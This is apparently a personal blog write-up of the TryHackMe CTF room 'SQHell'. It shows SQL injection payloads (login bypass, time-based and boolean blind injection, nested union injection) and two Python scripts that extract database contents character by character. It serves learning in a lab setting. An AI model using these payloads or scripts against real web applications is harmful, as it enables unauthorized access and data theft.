30 May 2021 / TRYHACKME, CTF, MEDIUM SQHell Write Up Overview sqhell is a fun medium rated CTF room on TryHackMe created by Adam Langley. I found this room incredibly frustrating but also very rewarding and really helped me understand some key SQLI techniques. I have wrote this write up over a couple of days, so I’ve added a entry in my etc hosts file of ‘sqhell.thm’ to provide consistency across the screen shots as the IP will change. Nmap I deployed the machine and started a NMAP scan to check the available ports. └──╼ $sudo nmap -sC -sV -oA nmap/initial 10.10.24.70 # Nmap 7.80 scan initiated Sun May 30 17:55:54 2021 as: nmap -sC -sV -oA nmap/initial 10.10.24.70 Nmap scan report for 10.10.24.70 Host is up (0.026s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 30 17:56:03 2021 -- 1 IP address (1 host up) scanned in 8.36 seconds 2 Ports open: 22 - SSH - OpenSSH 8.2p1 80 - HTTP - nginx 1.18.0 I also ran a full port scan but no additional ports were found. Flag 1 Based on the room name I know this is going to consist of SQLI challenges so I went straight to the web page and found a blog. The first thing I looked at was the login page, and tried the usual bypass technique: admin' or 1=1;-- - Flag 2 Flag 2 was the first of the two difficult flags, Looking at the room hints: Make sure to read the terms and conditions ;) A common way of monitoring a client IP is adding a header to the web request such as ‘X-Forwarded-For: ', I've seen this a lot on load balancers and WAF's to provide persistance and send all requests from a single source to the same webserver. Below are some example headers: X-Forwarded-For: X-Originating-IP: X-Remote-IP: X-Remote-Addr: X-Forwarded-Host: I can use time based SQL injection and use sleep, if the header is vulnerable the page will sleep (wait) before returning the page. I opened Burp and added the X-Forwarded-For header, I tried lots of payloads with no success until I found a great resource. Finally the payload: 127.0.0.1' AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '1'='1 worked. Now I know the X-Forwarded-For header is vulnerable I need to find a way to retrieve data. The flag format is ‘THM{FLAG……’ and stored in the flag column in the flag table so I can use substring to check for each character and if its a match then sleep. Using hacktricks I created the payload: 1' AND (SELECT sleep(5) FROM flag where SUBSTR(flag,1,1) = 'T') and '1'='1. I tested a few characters and incremented the offset and it confirmed this was flag 2. I created the below python script to automate the process. # Script to retrieve flag 2 for room SQHell - https://tryhackme.com/room/sqhell import requests import time import string url = "" #Room IP characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':' flag = "" counter = 1 payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '2') and '1'='1" headers = {'X-Forwarded-For':payload} while True: for i in characterlist: payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{counter},1) = '{i}') and '1'='1" headers = {'X-Forwarded-For':payload} start = time.time() r = requests.get(url, headers = headers) end = time.time() if end-start >= 2: flag += i counter += 1 break print(flag) if len(flag) >= 43: exit(f"The Flag is: {flag}") Running the script will retrieve the flag. Flag 3 Looking at the register page of the blog, its possible to check if a username already exists. This is done by a script in the page source code. <script> $('input[name="username"]').keyup(function(){ $('.userstatus').html(''); let username = $(this).val(); $.getJSON('/register/user-check?username='+ username,function(resp){ if( resp.available ){ $('.userstatus').css('color','#80c13d'); $('.userstatus').html('Username available'); }else{ $('.userstatus').css('color','#F00'); $('.userstatus').html('Username already taken'); } }); }); </script> It’s possible to navigate directly to this endpoint to check the result. We can use this to provide logic to determine if a condition is true or false. Using the payload: admin' and 1=2;-- - which of course is not true as 1 doesnt equal 1 returns an available = true statement. However the payload: admin' and 1=1;-- - which is true returns available = false Using substring again allows for each character to be checked. If the character is a match, an available equals false will be returned. To confirm I used the payload: http://sqhell.thm/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),1,1)) = 'T';-- - This worked and returned a false statement. I created a script to automate the process. import requests import string characterlist = string.ascii_uppercase + string.digits + '{' + '}' + ':' ip = "" #change to machine IP flag = "" counter = 1 while True: for i in characterlist: # loop through each character in the character list r = requests.get("http://" + ip + f"/register/user-check?username=admin' and (substr((SELECT flag FROM flag LIMIT 0,1),{counter},1)) = '{i}';-- -") #create request if 'false' in r.text: # check if return 'false' statement which indicates a match flag += i # add the character to the flag string counter += 1 # increment the counter by one to then check the next letter print(flag) break Running the script provided the flag. Flag 4 Flag 4 was the second of the two difficult flags, it has the following hint: Well, dreams, they feel real while we’re in them right? Googling this provides references to the film Inception. Looking at a user on the blog, showed details of the user along with the posts they had submitted. I tried a union select payload and repeated adding null entires until I was able to determine the number of columns which was 3. http://sqhell.thm/user?id=1 union select null,null,null;-- - I now spent a long time enumerating the database to find the flag but with no luck. While completing the enumeration I was able to determine there was only one user. Any other number resulted in user not found being returned. However, even with an invalid user id, if I changed the first null value to 1 I could return a list of the users posts. Which would indicate another SQL query. So to test this I created another union select statement in the user id colum using the same technique as before by repeatedly adding null columns. Once I got to 4 columns the two posts were returned with a blank bullet point. Now it was just a case of finding a column which I could use to populate the flag which was column two and select the flag from the flag table. The final payload was: http://sqhell.thm/user?id=2 union select "1 union select null,flag,null,null from flag",null,null from information_schema.tables where table_schema=database();-- - Flag 5 Flag 5 is obtained by using union based injection Looking at the post page url, the posts are retrieved by id: http://sqhell.thm/post?id=2 This looks injectable, to confirm I simply added a ' after the id number. This resulted in an error indicating an SQLI could be possible. For a union select injection attack to work the number of returned columns need to match the original query. I used order by to determine the number of columns. I got an error on order by 5 indicating there are 4 columns. I was then able to simple retrieve the flag using the payload: http://sqhell.thm/post?id=2 and 1=2 union select null,null,flag,null from flag. Thanks for reading! Resources: https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/ https://ismailtasdelen.medium.com/sql-injection-payload-list-b97656cfd66b https://book.hacktricks.xyz/pentesting-web/sql-injection ============================================================ Any comments or feedback welcome! You can find me on twitter.